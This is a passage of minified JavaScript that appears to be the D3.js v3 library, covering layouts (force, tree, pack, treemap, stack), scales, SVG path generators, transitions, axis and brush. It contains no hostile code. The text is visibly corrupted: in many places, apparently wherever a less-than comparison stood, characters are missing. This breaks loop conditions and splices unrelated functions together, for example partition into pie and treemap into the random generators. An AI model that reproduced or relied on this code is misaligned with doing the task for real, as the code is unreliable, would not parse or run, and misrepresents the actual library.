t,r,l,h,p,v,y,m,b,_=M.length,w=x.length;for(r=0;w>r;++r)l=x[r],h=l.source,p=l.target,m=p.x-h.x,b=p.y-h.y,(v=m*m+b*b)&&(v=i*o[r]*((v=Math.sqrt(v))-u[r])/v,m*=v,b*=v,p.x-=m*(y=h.weight+p.weight?h.weight/(h.weight+p.weight):.5),p.y-=b*y,h.x+=m*(y=1-y),h.y+=b*y);if((y=i*d)&&(m=f[0]/2,b=f[1]/2,r=-1,y))for(;++r<_;)l=M[r],l.x+=(m-l.x)*y,l.y+=(b-l.y)*y;if(g)for(ri(t=ao.geom.quadtree(M),i,a),r=-1;++r<_;)(l=M[r]).fixed||t.visit(n(l));for(r=-1;++r<_;)l=M[r],l.fixed?(l.x=l.px,l.y=l.py):(l.x-=(l.px-(l.px=l.x))*s,l.y-=(l.py-(l.py=l.y))*s);c.tick({type:"tick",alpha:i})},l.nodes=function(n){return arguments.length?(M=n,l):M},l.links=function(n){return arguments.length?(x=n,l):x},l.size=function(n){return arguments.length?(f=n,l):f},l.linkDistance=function(n){return arguments.length?(h="function"==typeof n?n:+n,l):h},l.distance=l.linkDistance,l.linkStrength=function(n){return arguments.length?(p="function"==typeof n?n:+n,l):p},l.friction=function(n){return arguments.length?(s=+n,l):s},l.charge=function(n){return arguments.length?(g="function"==typeof n?n:+n,l):g},l.chargeDistance=function(n){return arguments.length?(v=n*n,l):Math.sqrt(v)},l.gravity=function(n){return arguments.length?(d=+n,l):d},l.theta=function(n){return arguments.length?(y=n*n,l):Math.sqrt(y)},l.alpha=function(n){return arguments.length?(n=+n,i?n>0?i=n:(e.c=null,e.t=NaN,e=null,c.end({type:"end",alpha:i=0})):n>0&&(c.start({type:"start",alpha:i=n}),e=qn(l.tick)),l):i},l.start=function(){function n(n,r){if(!e){for(e=new Array(i),l=0;i>l;++l)e[l]=[];for(l=0;c>l;++l){var u=x[l];e[u.source.index].push(u.target),e[u.target.index].push(u.source)}}for(var o,a=e[t],l=-1,f=a.length;++lt;++t)(r=M[t]).index=t,r.weight=0;for(t=0;c>t;++t)r=x[t],"number"==typeof r.source&&(r.source=M[r.source]),"number"==typeof r.target&&(r.target=M[r.target]),++r.source.weight,++r.target.weight;for(t=0;i>t;++t)r=M[t],isNaN(r.x)&&(r.x=n("x",s)),isNaN(r.y)&&(r.y=n("y",v)),isNaN(r.px)&&(r.px=r.x),isNaN(r.py)&&(r.py=r.y);if(u=[],"function"==typeof h)for(t=0;c>t;++t)u[t]=+h.call(this,x[t],t);else for(t=0;c>t;++t)u[t]=h;if(o=[],"function"==typeof p)for(t=0;c>t;++t)o[t]=+p.call(this,x[t],t);else for(t=0;c>t;++t)o[t]=p;if(a=[],"function"==typeof g)for(t=0;i>t;++t)a[t]=+g.call(this,M[t],t);else for(t=0;i>t;++t)a[t]=g;return l.resume()},l.resume=function(){return l.alpha(.1)},l.stop=function(){return l.alpha(0)},l.drag=function(){return r||(r=ao.behavior.drag().origin(m).on("dragstart.force",Qr).on("drag.force",t).on("dragend.force",ni)),arguments.length?void this.on("mouseover.force",ti).on("mouseout.force",ei).call(r):r},ao.rebind(l,c,"on")};var ml=20,Ml=1,xl=1/0;ao.layout.hierarchy=function(){function n(i){var u,o=[i],a=[];for(i.depth=0;null!=(u=o.pop());)if(a.push(u),(c=e.call(n,u,u.depth))&&(l=c.length)){for(var l,c,f;--l>=0;)o.push(f=c[l]),f.parent=u,f.depth=u.depth+1;r&&(u.value=0),u.children=c}else r&&(u.value=+r.call(n,u,u.depth)||0),delete u.children;return oi(i,function(n){var e,i;t&&(e=n.children)&&e.sort(t),r&&(i=n.parent)&&(i.value+=n.value)}),a}var t=ci,e=ai,r=li;return n.sort=function(e){return arguments.length?(t=e,n):t},n.children=function(t){return arguments.length?(e=t,n):e},n.value=function(t){return arguments.length?(r=t,n):r},n.revalue=function(t){return r&&(ui(t,function(n){n.children&&(n.value=0)}),oi(t,function(t){var e;t.children||(t.value=+r.call(n,t,t.depth)||0),(e=t.parent)&&(e.value+=t.value)})),t},n},ao.layout.partition=function(){function n(t,e,r,i){var u=t.children;if(t.x=e,t.y=t.depth*i,t.dx=r,t.dy=i,u&&(o=u.length)){var o,a,l,c=-1;for(r=t.value?r/t.value:0;++cs?-1:1),g=ao.sum(c),v=g?(s-l*p)/g:0,d=ao.range(l),y=[];return null!=e&&d.sort(e===bl?function(n,t){return c[t]-c[n]}:function(n,t){return e(o[n],o[t])}),d.forEach(function(n){y[n]={data:o[n],value:a=c[n],startAngle:f,endAngle:f+=a*v+p,padAngle:h}}),y}var t=Number,e=bl,r=0,i=Ho,u=0;return n.value=function(e){return arguments.length?(t=e,n):t},n.sort=function(t){return arguments.length?(e=t,n):e},n.startAngle=function(t){return arguments.length?(r=t,n):r},n.endAngle=function(t){return arguments.length?(i=t,n):i},n.padAngle=function(t){return arguments.length?(u=t,n):u},n};var bl={};ao.layout.stack=function(){function n(a,l){if(!(h=a.length))return a;var c=a.map(function(e,r){return t.call(n,e,r)}),f=c.map(function(t){return t.map(function(t,e){return[u.call(n,t,e),o.call(n,t,e)]})}),s=e.call(n,f,l);c=ao.permute(c,s),f=ao.permute(f,s);var h,p,g,v,d=r.call(n,f,l),y=c[0].length;for(g=0;y>g;++g)for(i.call(n,c[0][g],v=d[g],f[0][g][1]),p=1;h>p;++p)i.call(n,c[p][g],v+=f[p-1][g][1],f[p][g][1]);return a}var t=m,e=gi,r=vi,i=pi,u=si,o=hi;return n.values=function(e){return arguments.length?(t=e,n):t},n.order=function(t){return arguments.length?(e="function"==typeof t?t:_l.get(t)||gi,n):e},n.offset=function(t){return arguments.length?(r="function"==typeof t?t:wl.get(t)||vi,n):r},n.x=function(t){return arguments.length?(u=t,n):u},n.y=function(t){return arguments.length?(o=t,n):o},n.out=function(t){return arguments.length?(i=t,n):i},n};var _l=ao.map({"inside-out":function(n){var t,e,r=n.length,i=n.map(di),u=n.map(yi),o=ao.range(r).sort(function(n,t){return i[n]-i[t]}),a=0,l=0,c=[],f=[];for(t=0;r>t;++t)e=o[t],l>a?(a+=u[e],c.push(e)):(l+=u[e],f.push(e));return f.reverse().concat(c)},reverse:function(n){return ao.range(n.length).reverse()},"default":gi}),wl=ao.map({silhouette:function(n){var t,e,r,i=n.length,u=n[0].length,o=[],a=0,l=[];for(e=0;u>e;++e){for(t=0,r=0;i>t;t++)r+=n[t][e][1];r>a&&(a=r),o.push(r)}for(e=0;u>e;++e)l[e]=(a-o[e])/2;return l},wiggle:function(n){var t,e,r,i,u,o,a,l,c,f=n.length,s=n[0],h=s.length,p=[];for(p[0]=l=c=0,e=1;h>e;++e){for(t=0,i=0;f>t;++t)i+=n[t][e][1];for(t=0,u=0,a=s[e][0]-s[e-1][0];f>t;++t){for(r=0,o=(n[t][e][1]-n[t][e-1][1])/(2*a);t>r;++r)o+=(n[r][e][1]-n[r][e-1][1])/a;u+=o*n[t][e][1]}p[e]=l-=i?u/i*a:0,c>l&&(c=l)}for(e=0;h>e;++e)p[e]-=c;return p},expand:function(n){var t,e,r,i=n.length,u=n[0].length,o=1/i,a=[];for(e=0;u>e;++e){for(t=0,r=0;i>t;t++)r+=n[t][e][1];if(r)for(t=0;i>t;t++)n[t][e][1]/=r;else for(t=0;i>t;t++)n[t][e][1]=o}for(e=0;u>e;++e)a[e]=0;return a},zero:vi});ao.layout.histogram=function(){function n(n,u){for(var o,a,l=[],c=n.map(e,this),f=r.call(this,c,u),s=i.call(this,f,c,u),u=-1,h=c.length,p=s.length-1,g=t?1:1/h;++u0)for(u=-1;++u=f[0]&&a<=f[1]&&(o=l[ao.bisect(s,a,1,p)-1],o.y+=g,o.push(n[u]));return l}var t=!0,e=Number,r=bi,i=Mi;return n.value=function(t){return arguments.length?(e=t,n):e},n.range=function(t){return arguments.length?(r=En(t),n):r},n.bins=function(t){return arguments.length?(i="number"==typeof t?function(n){return xi(n,t)}:En(t),n):i},n.frequency=function(e){return arguments.length?(t=!!e,n):t},n},ao.layout.pack=function(){function n(n,u){var o=e.call(this,n,u),a=o[0],l=i[0],c=i[1],f=null==t?Math.sqrt:"function"==typeof t?t:function(){return t};if(a.x=a.y=0,oi(a,function(n){n.r=+f(n.value)}),oi(a,Ni),r){var s=r*(t?1:Math.max(2*a.r/l,2*a.r/c))/2;oi(a,function(n){n.r+=s}),oi(a,Ni),oi(a,function(n){n.r-=s})}return Ci(a,l/2,c/2,t?1:1/Math.max(2*a.r/l,2*a.r/c)),o}var t,e=ao.layout.hierarchy().sort(_i),r=0,i=[1,1];return n.size=function(t){return arguments.length?(i=t,n):i},n.radius=function(e){return arguments.length?(t=null==e||"function"==typeof e?e:+e,n):t},n.padding=function(t){return arguments.length?(r=+t,n):r},ii(n,e)},ao.layout.tree=function(){function n(n,i){var f=o.call(this,n,i),s=f[0],h=t(s);if(oi(h,e),h.parent.m=-h.z,ui(h,r),c)ui(s,u);else{var p=s,g=s,v=s;ui(s,function(n){n.xg.x&&(g=n),n.depth>v.depth&&(v=n)});var d=a(p,g)/2-p.x,y=l[0]/(g.x+a(g,p)/2+d),m=l[1]/(v.depth||1);ui(s,function(n){n.x=(n.x+d)*y,n.y=n.depth*m})}return f}function t(n){for(var t,e={A:null,children:[n]},r=[e];null!=(t=r.pop());)for(var i,u=t.children,o=0,a=u.length;a>o;++o)r.push((u[o]=i={_:u[o],parent:t,children:(i=u[o].children)&&i.slice()||[],A:null,a:null,z:0,m:0,c:0,s:0,t:null,i:o}).a=i);return e.children[0]}function e(n){var t=n.children,e=n.parent.children,r=n.i?e[n.i-1]:null;if(t.length){Di(n);var u=(t[0].z+t[t.length-1].z)/2;r?(n.z=r.z+a(n._,r._),n.m=n.z-u):n.z=u}else r&&(n.z=r.z+a(n._,r._));n.parent.A=i(n,r,n.parent.A||e[0])}function r(n){n._.x=n.z+n.parent.m,n.m+=n.parent.m}function i(n,t,e){if(t){for(var r,i=n,u=n,o=t,l=i.parent.children[0],c=i.m,f=u.m,s=o.m,h=l.m;o=Ti(o),i=qi(i),o&&i;)l=qi(l),u=Ti(u),u.a=n,r=o.z+s-i.z-c+a(o._,i._),r>0&&(Ri(Pi(o,n,e),n,r),c+=r,f+=r),s+=o.m,c+=i.m,h+=l.m,f+=u.m;o&&!Ti(u)&&(u.t=o,u.m+=s-f),i&&!qi(l)&&(l.t=i,l.m+=c-h,e=n)}return e}function u(n){n.x*=l[0],n.y=n.depth*l[1]}var o=ao.layout.hierarchy().sort(null).value(null),a=Li,l=[1,1],c=null;return n.separation=function(t){return arguments.length?(a=t,n):a},n.size=function(t){return arguments.length?(c=null==(l=t)?u:null,n):c?null:l},n.nodeSize=function(t){return arguments.length?(c=null==(l=t)?null:u,n):c?l:null},ii(n,o)},ao.layout.cluster=function(){function n(n,u){var o,a=t.call(this,n,u),l=a[0],c=0;oi(l,function(n){var t=n.children;t&&t.length?(n.x=ji(t),n.y=Ui(t)):(n.x=o?c+=e(n,o):0,n.y=0,o=n)});var f=Fi(l),s=Hi(l),h=f.x-e(f,s)/2,p=s.x+e(s,f)/2;return oi(l,i?function(n){n.x=(n.x-l.x)*r[0],n.y=(l.y-n.y)*r[1]}:function(n){n.x=(n.x-h)/(p-h)*r[0],n.y=(1-(l.y?n.y/l.y:1))*r[1]}),a}var t=ao.layout.hierarchy().sort(null).value(null),e=Li,r=[1,1],i=!1;return n.separation=function(t){return arguments.length?(e=t,n):e},n.size=function(t){return arguments.length?(i=null==(r=t),n):i?null:r},n.nodeSize=function(t){return arguments.length?(i=null!=(r=t),n):i?r:null},ii(n,t)},ao.layout.treemap=function(){function n(n,t){for(var e,r,i=-1,u=n.length;++it?0:t),e.area=isNaN(r)||0>=r?0:r}function t(e){var u=e.children;if(u&&u.length){var o,a,l,c=s(e),f=[],h=u.slice(),g=1/0,v="slice"===p?c.dx:"dice"===p?c.dy:"slice-dice"===p?1&e.depth?c.dy:c.dx:Math.min(c.dx,c.dy);for(n(h,c.dx*c.dy/e.value),f.area=0;(l=h.length)>0;)f.push(o=h[l-1]),f.area+=o.area,"squarify"!==p||(a=r(f,v))<=g?(h.pop(),g=a):(f.area-=f.pop().area,i(f,v,c,!1),v=Math.min(c.dx,c.dy),f.length=f.area=0,g=1/0);f.length&&(i(f,v,c,!0),f.length=f.area=0),u.forEach(t)}}function e(t){var r=t.children;if(r&&r.length){var u,o=s(t),a=r.slice(),l=[];for(n(a,o.dx*o.dy/t.value),l.area=0;u=a.pop();)l.push(u),l.area+=u.area,null!=u.z&&(i(l,u.z?o.dx:o.dy,o,!a.length),l.length=l.area=0);r.forEach(e)}}function r(n,t){for(var e,r=n.area,i=0,u=1/0,o=-1,a=n.length;++oe&&(u=e),e>i&&(i=e));return r*=r,t*=t,r?Math.max(t*i*g/r,r/(t*u*g)):1/0}function i(n,t,e,r){var i,u=-1,o=n.length,a=e.x,c=e.y,f=t?l(n.area/t):0; if(t==e.dx){for((r||f>e.dy)&&(f=e.dy);++ue.dx)&&(f=e.dx);++ue&&(t=1),1>e&&(n=0),function(){var e,r,i;do e=2*Math.random()-1,r=2*Math.random()-1,i=e*e+r*r;while(!i||i>1);return n+t*e*Math.sqrt(-2*Math.log(i)/i)}},logNormal:function(){var n=ao.random.normal.apply(ao,arguments);return function(){return Math.exp(n())}},bates:function(n){var t=ao.random.irwinHall(n);return function(){return t()/n}},irwinHall:function(n){return function(){for(var t=0,e=0;n>e;e++)t+=Math.random();return t}}},ao.scale={};var Sl={floor:m,ceil:m};ao.scale.linear=function(){return Wi([0,1],[0,1],Mr,!1)};var kl={s:1,g:1,p:1,r:1,e:1};ao.scale.log=function(){return ru(ao.scale.linear().domain([0,1]),10,!0,[1,10])};var Nl=ao.format(".0e"),El={floor:function(n){return-Math.ceil(-n)},ceil:function(n){return-Math.floor(-n)}};ao.scale.pow=function(){return iu(ao.scale.linear(),1,[0,1])},ao.scale.sqrt=function(){return ao.scale.pow().exponent(.5)},ao.scale.ordinal=function(){return ou([],{t:"range",a:[[]]})},ao.scale.category10=function(){return ao.scale.ordinal().range(Al)},ao.scale.category20=function(){return ao.scale.ordinal().range(Cl)},ao.scale.category20b=function(){return ao.scale.ordinal().range(zl)},ao.scale.category20c=function(){return ao.scale.ordinal().range(Ll)};var Al=[2062260,16744206,2924588,14034728,9725885,9197131,14907330,8355711,12369186,1556175].map(xn),Cl=[2062260,11454440,16744206,16759672,2924588,10018698,14034728,16750742,9725885,12955861,9197131,12885140,14907330,16234194,8355711,13092807,12369186,14408589,1556175,10410725].map(xn),zl=[3750777,5395619,7040719,10264286,6519097,9216594,11915115,13556636,9202993,12426809,15186514,15190932,8666169,11356490,14049643,15177372,8077683,10834324,13528509,14589654].map(xn),Ll=[3244733,7057110,10406625,13032431,15095053,16616764,16625259,16634018,3253076,7652470,10607003,13101504,7695281,10394312,12369372,14342891,6513507,9868950,12434877,14277081].map(xn);ao.scale.quantile=function(){return au([],[])},ao.scale.quantize=function(){return lu(0,1,[0,1])},ao.scale.threshold=function(){return cu([.5],[0,1])},ao.scale.identity=function(){return fu([0,1])},ao.svg={},ao.svg.arc=function(){function n(){var n=Math.max(0,+e.apply(this,arguments)),c=Math.max(0,+r.apply(this,arguments)),f=o.apply(this,arguments)-Io,s=a.apply(this,arguments)-Io,h=Math.abs(s-f),p=f>s?0:1;if(n>c&&(g=c,c=n,n=g),h>=Oo)return t(c,p)+(n?t(n,1-p):"")+"Z";var g,v,d,y,m,M,x,b,_,w,S,k,N=0,E=0,A=[];if((y=(+l.apply(this,arguments)||0)/2)&&(d=u===ql?Math.sqrt(n*n+c*c):+u.apply(this,arguments),p||(E*=-1),c&&(E=tn(d/c*Math.sin(y))),n&&(N=tn(d/n*Math.sin(y)))),c){m=c*Math.cos(f+E),M=c*Math.sin(f+E),x=c*Math.cos(s-E),b=c*Math.sin(s-E);var C=Math.abs(s-f-2*E)<=Fo?0:1;if(E&&yu(m,M,x,b)===p^C){var z=(f+s)/2;m=c*Math.cos(z),M=c*Math.sin(z),x=b=null}}else m=M=0;if(n){_=n*Math.cos(s-N),w=n*Math.sin(s-N),S=n*Math.cos(f+N),k=n*Math.sin(f+N);var L=Math.abs(f-s+2*N)<=Fo?0:1;if(N&&yu(_,w,S,k)===1-p^L){var q=(f+s)/2;_=n*Math.cos(q),w=n*Math.sin(q),S=k=null}}else _=w=0;if(h>Uo&&(g=Math.min(Math.abs(c-n)/2,+i.apply(this,arguments)))>.001){v=c>n^p?0:1;var T=g,R=g;if(Fo>h){var D=null==S?[_,w]:null==x?[m,M]:Re([m,M],[S,k],[x,b],[_,w]),P=m-D[0],U=M-D[1],j=x-D[0],F=b-D[1],H=1/Math.sin(Math.acos((P*j+U*F)/(Math.sqrt(P*P+U*U)*Math.sqrt(j*j+F*F)))/2),O=Math.sqrt(D[0]*D[0]+D[1]*D[1]);R=Math.min(g,(n-O)/(H-1)),T=Math.min(g,(c-O)/(H+1))}if(null!=x){var I=mu(null==S?[_,w]:[S,k],[m,M],c,T,p),Y=mu([x,b],[_,w],c,T,p);g===T?A.push("M",I[0],"A",T,",",T," 0 0,",v," ",I[1],"A",c,",",c," 0 ",1-p^yu(I[1][0],I[1][1],Y[1][0],Y[1][1]),",",p," ",Y[1],"A",T,",",T," 0 0,",v," ",Y[0]):A.push("M",I[0],"A",T,",",T," 0 1,",v," ",Y[0])}else A.push("M",m,",",M);if(null!=S){var Z=mu([m,M],[S,k],n,-R,p),V=mu([_,w],null==x?[m,M]:[x,b],n,-R,p);g===R?A.push("L",V[0],"A",R,",",R," 0 0,",v," ",V[1],"A",n,",",n," 0 ",p^yu(V[1][0],V[1][1],Z[1][0],Z[1][1]),",",1-p," ",Z[1],"A",R,",",R," 0 0,",v," ",Z[0]):A.push("L",V[0],"A",R,",",R," 0 0,",v," ",Z[0])}else A.push("L",_,",",w)}else A.push("M",m,",",M),null!=x&&A.push("A",c,",",c," 0 ",C,",",p," ",x,",",b),A.push("L",_,",",w),null!=S&&A.push("A",n,",",n," 0 ",L,",",1-p," ",S,",",k);return A.push("Z"),A.join("")}function t(n,t){return"M0,"+n+"A"+n+","+n+" 0 1,"+t+" 0,"+-n+"A"+n+","+n+" 0 1,"+t+" 0,"+n}var e=hu,r=pu,i=su,u=ql,o=gu,a=vu,l=du;return n.innerRadius=function(t){return arguments.length?(e=En(t),n):e},n.outerRadius=function(t){return arguments.length?(r=En(t),n):r},n.cornerRadius=function(t){return arguments.length?(i=En(t),n):i},n.padRadius=function(t){return arguments.length?(u=t==ql?ql:En(t),n):u},n.startAngle=function(t){return arguments.length?(o=En(t),n):o},n.endAngle=function(t){return arguments.length?(a=En(t),n):a},n.padAngle=function(t){return arguments.length?(l=En(t),n):l},n.centroid=function(){var n=(+e.apply(this,arguments)+ +r.apply(this,arguments))/2,t=(+o.apply(this,arguments)+ +a.apply(this,arguments))/2-Io;return[Math.cos(t)*n,Math.sin(t)*n]},n};var ql="auto";ao.svg.line=function(){return Mu(m)};var Tl=ao.map({linear:xu,"linear-closed":bu,step:_u,"step-before":wu,"step-after":Su,basis:zu,"basis-open":Lu,"basis-closed":qu,bundle:Tu,cardinal:Eu,"cardinal-open":ku,"cardinal-closed":Nu,monotone:Fu});Tl.forEach(function(n,t){t.key=n,t.closed=/-closed$/.test(n)});var Rl=[0,2/3,1/3,0],Dl=[0,1/3,2/3,0],Pl=[0,1/6,2/3,1/6];ao.svg.line.radial=function(){var n=Mu(Hu);return n.radius=n.x,delete n.x,n.angle=n.y,delete n.y,n},wu.reverse=Su,Su.reverse=wu,ao.svg.area=function(){return Ou(m)},ao.svg.area.radial=function(){var n=Ou(Hu);return n.radius=n.x,delete n.x,n.innerRadius=n.x0,delete n.x0,n.outerRadius=n.x1,delete n.x1,n.angle=n.y,delete n.y,n.startAngle=n.y0,delete n.y0,n.endAngle=n.y1,delete n.y1,n},ao.svg.chord=function(){function n(n,a){var l=t(this,u,n,a),c=t(this,o,n,a);return"M"+l.p0+r(l.r,l.p1,l.a1-l.a0)+(e(l,c)?i(l.r,l.p1,l.r,l.p0):i(l.r,l.p1,c.r,c.p0)+r(c.r,c.p1,c.a1-c.a0)+i(c.r,c.p1,l.r,l.p0))+"Z"}function t(n,t,e,r){var i=t.call(n,e,r),u=a.call(n,i,r),o=l.call(n,i,r)-Io,f=c.call(n,i,r)-Io;return{r:u,a0:o,a1:f,p0:[u*Math.cos(o),u*Math.sin(o)],p1:[u*Math.cos(f),u*Math.sin(f)]}}function e(n,t){return n.a0==t.a0&&n.a1==t.a1}function r(n,t,e){return"A"+n+","+n+" 0 "+ +(e>Fo)+",1 "+t}function i(n,t,e,r){return"Q 0,0 "+r}var u=Me,o=xe,a=Iu,l=gu,c=vu;return n.radius=function(t){return arguments.length?(a=En(t),n):a},n.source=function(t){return arguments.length?(u=En(t),n):u},n.target=function(t){return arguments.length?(o=En(t),n):o},n.startAngle=function(t){return arguments.length?(l=En(t),n):l},n.endAngle=function(t){return arguments.length?(c=En(t),n):c},n},ao.svg.diagonal=function(){function n(n,i){var u=t.call(this,n,i),o=e.call(this,n,i),a=(u.y+o.y)/2,l=[u,{x:u.x,y:a},{x:o.x,y:a},o];return l=l.map(r),"M"+l[0]+"C"+l[1]+" "+l[2]+" "+l[3]}var t=Me,e=xe,r=Yu;return n.source=function(e){return arguments.length?(t=En(e),n):t},n.target=function(t){return arguments.length?(e=En(t),n):e},n.projection=function(t){return arguments.length?(r=t,n):r},n},ao.svg.diagonal.radial=function(){var n=ao.svg.diagonal(),t=Yu,e=n.projection;return n.projection=function(n){return arguments.length?e(Zu(t=n)):t},n},ao.svg.symbol=function(){function n(n,r){return(Ul.get(t.call(this,n,r))||$u)(e.call(this,n,r))}var t=Xu,e=Vu;return n.type=function(e){return arguments.length?(t=En(e),n):t},n.size=function(t){return arguments.length?(e=En(t),n):e},n};var Ul=ao.map({circle:$u,cross:function(n){var t=Math.sqrt(n/5)/2;return"M"+-3*t+","+-t+"H"+-t+"V"+-3*t+"H"+t+"V"+-t+"H"+3*t+"V"+t+"H"+t+"V"+3*t+"H"+-t+"V"+t+"H"+-3*t+"Z"},diamond:function(n){var t=Math.sqrt(n/(2*Fl)),e=t*Fl;return"M0,"+-t+"L"+e+",0 0,"+t+" "+-e+",0Z"},square:function(n){var t=Math.sqrt(n)/2;return"M"+-t+","+-t+"L"+t+","+-t+" "+t+","+t+" "+-t+","+t+"Z"},"triangle-down":function(n){var t=Math.sqrt(n/jl),e=t*jl/2;return"M0,"+e+"L"+t+","+-e+" "+-t+","+-e+"Z"},"triangle-up":function(n){var t=Math.sqrt(n/jl),e=t*jl/2;return"M0,"+-e+"L"+t+","+e+" "+-t+","+e+"Z"}});ao.svg.symbolTypes=Ul.keys();var jl=Math.sqrt(3),Fl=Math.tan(30*Yo);Co.transition=function(n){for(var t,e,r=Hl||++Zl,i=Ku(n),u=[],o=Ol||{time:Date.now(),ease:Nr,delay:0,duration:250},a=-1,l=this.length;++au;u++){i.push(t=[]);for(var e=this[u],a=0,l=e.length;l>a;a++)(r=e[a])&&n.call(r,r.__data__,a,u)&&t.push(r)}return Wu(i,this.namespace,this.id)},Yl.tween=function(n,t){var e=this.id,r=this.namespace;return arguments.length<2?this.node()[r][e].tween.get(n):Y(this,null==t?function(t){t[r][e].tween.remove(n)}:function(i){i[r][e].tween.set(n,t)})},Yl.attr=function(n,t){function e(){this.removeAttribute(a)}function r(){this.removeAttributeNS(a.space,a.local)}function i(n){return null==n?e:(n+="",function(){var t,e=this.getAttribute(a);return e!==n&&(t=o(e,n),function(n){this.setAttribute(a,t(n))})})}function u(n){return null==n?r:(n+="",function(){var t,e=this.getAttributeNS(a.space,a.local);return e!==n&&(t=o(e,n),function(n){this.setAttributeNS(a.space,a.local,t(n))})})}if(arguments.length<2){for(t in n)this.attr(t,n[t]);return this}var o="transform"==n?$r:Mr,a=ao.ns.qualify(n);return Ju(this,"attr."+n,t,a.local?u:i)},Yl.attrTween=function(n,t){function e(n,e){var r=t.call(this,n,e,this.getAttribute(i));return r&&function(n){this.setAttribute(i,r(n))}}function r(n,e){var r=t.call(this,n,e,this.getAttributeNS(i.space,i.local));return r&&function(n){this.setAttributeNS(i.space,i.local,r(n))}}var i=ao.ns.qualify(n);return this.tween("attr."+n,i.local?r:e)},Yl.style=function(n,e,r){function i(){this.style.removeProperty(n)}function u(e){return null==e?i:(e+="",function(){var i,u=t(this).getComputedStyle(this,null).getPropertyValue(n);return u!==e&&(i=Mr(u,e),function(t){this.style.setProperty(n,i(t),r)})})}var o=arguments.length;if(3>o){if("string"!=typeof n){2>o&&(e="");for(r in n)this.style(r,n[r],e);return this}r=""}return Ju(this,"style."+n,e,u)},Yl.styleTween=function(n,e,r){function i(i,u){var o=e.call(this,i,u,t(this).getComputedStyle(this,null).getPropertyValue(n));return o&&function(t){this.style.setProperty(n,o(t),r)}}return arguments.length<3&&(r=""),this.tween("style."+n,i)},Yl.text=function(n){return Ju(this,"text",n,Gu)},Yl.remove=function(){var n=this.namespace;return this.each("end.transition",function(){var t;this[n].count<2&&(t=this.parentNode)&&t.removeChild(this)})},Yl.ease=function(n){var t=this.id,e=this.namespace;return arguments.length<1?this.node()[e][t].ease:("function"!=typeof n&&(n=ao.ease.apply(ao,arguments)),Y(this,function(r){r[e][t].ease=n}))},Yl.delay=function(n){var t=this.id,e=this.namespace;return arguments.length<1?this.node()[e][t].delay:Y(this,"function"==typeof n?function(r,i,u){r[e][t].delay=+n.call(r,r.__data__,i,u)}:(n=+n,function(r){r[e][t].delay=n}))},Yl.duration=function(n){var t=this.id,e=this.namespace;return arguments.length<1?this.node()[e][t].duration:Y(this,"function"==typeof n?function(r,i,u){r[e][t].duration=Math.max(1,n.call(r,r.__data__,i,u))}:(n=Math.max(1,n),function(r){r[e][t].duration=n}))},Yl.each=function(n,t){var e=this.id,r=this.namespace;if(arguments.length<2){var i=Ol,u=Hl;try{Hl=e,Y(this,function(t,i,u){Ol=t[r][e],n.call(t,t.__data__,i,u)})}finally{Ol=i,Hl=u}}else Y(this,function(i){var u=i[r][e];(u.event||(u.event=ao.dispatch("start","end","interrupt"))).on(n,t)});return this},Yl.transition=function(){for(var n,t,e,r,i=this.id,u=++Zl,o=this.namespace,a=[],l=0,c=this.length;c>l;l++){a.push(n=[]);for(var t=this[l],f=0,s=t.length;s>f;f++)(e=t[f])&&(r=e[o][i],Qu(e,f,o,u,{time:r.time,ease:r.ease,delay:r.delay+r.duration,duration:r.duration})),n.push(e)}return Wu(a,o,u)},ao.svg.axis=function(){function n(n){n.each(function(){var n,c=ao.select(this),f=this.__chart__||e,s=this.__chart__=e.copy(),h=null==l?s.ticks?s.ticks.apply(s,a):s.domain():l,p=null==t?s.tickFormat?s.tickFormat.apply(s,a):m:t,g=c.selectAll(".tick").data(h,s),v=g.enter().insert("g",".domain").attr("class","tick").style("opacity",Uo),d=ao.transition(g.exit()).style("opacity",Uo).remove(),y=ao.transition(g.order()).style("opacity",1),M=Math.max(i,0)+o,x=Zi(s),b=c.selectAll(".domain").data([0]),_=(b.enter().append("path").attr("class","domain"),ao.transition(b));v.append("line"),v.append("text");var w,S,k,N,E=v.select("line"),A=y.select("line"),C=g.select("text").text(p),z=v.select("text"),L=y.select("text"),q="top"===r||"left"===r?-1:1;if("bottom"===r||"top"===r?(n=no,w="x",k="y",S="x2",N="y2",C.attr("dy",0>q?"0em":".71em").style("text-anchor","middle"),_.attr("d","M"+x[0]+","+q*u+"V0H"+x[1]+"V"+q*u)):(n=to,w="y",k="x",S="y2",N="x2",C.attr("dy",".32em").style("text-anchor",0>q?"end":"start"),_.attr("d","M"+q*u+","+x[0]+"H0V"+x[1]+"H"+q*u)),E.attr(N,q*i),z.attr(k,q*M),A.attr(S,0).attr(N,q*i),L.attr(w,0).attr(k,q*M),s.rangeBand){var T=s,R=T.rangeBand()/2;f=s=function(n){return T(n)+R}}else f.rangeBand?f=s:d.call(n,s,f);v.call(n,f,s),y.call(n,s,s)})}var t,e=ao.scale.linear(),r=Vl,i=6,u=6,o=3,a=[10],l=null;return n.scale=function(t){return arguments.length?(e=t,n):e},n.orient=function(t){return arguments.length?(r=t in Xl?t+"":Vl,n):r},n.ticks=function(){return arguments.length?(a=co(arguments),n):a},n.tickValues=function(t){return arguments.length?(l=t,n):l},n.tickFormat=function(e){return arguments.length?(t=e,n):t},n.tickSize=function(t){var e=arguments.length;return e?(i=+t,u=+arguments[e-1],n):i},n.innerTickSize=function(t){return arguments.length?(i=+t,n):i},n.outerTickSize=function(t){return arguments.length?(u=+t,n):u},n.tickPadding=function(t){return arguments.length?(o=+t,n):o},n.tickSubdivide=function(){return arguments.length&&n},n};var Vl="bottom",Xl={top:1,right:1,bottom:1,left:1};ao.svg.brush=function(){function n(t){t.each(function(){var t=ao.select(this).style("pointer-events","all").style("-webkit-tap-highlight-color","rgba(0,0,0,0)").on("mousedown.brush",u).on("touchstart.brush",u),o=t.selectAll(".background").data([0]);o.enter().append("rect").attr("class","background").style("visibility","hidden").style("cursor","crosshair"),t.selectAll(".extent").data([0]).enter().append("rect").attr("class","extent").style("cursor","move");var a=t.selectAll(".resize").data(v,m);a.exit().remove(),a.enter().append("g").attr("class",function(n){return"resize "+n}).style("cursor",function(n){return $l[n]}).append("rect").attr("x",function(n){return/[ew]$/.test(n)?-3:null}).attr("y",function(n){return/^[ns]/.test(n)?-3:null}).attr("width",6).attr("height",6).style("visibility","hidden"),a.style("display",n.empty()?"none":null);var l,s=ao.transition(t),h=ao.transition(o);c&&(l=Zi(c),h.attr("x",l[0]).attr("width",l[1]-l[0]),r(s)),f&&(l=Zi(f),h.attr("y",l[0]).attr("height",l[1]-l[0]),i(s)),e(s)})}function 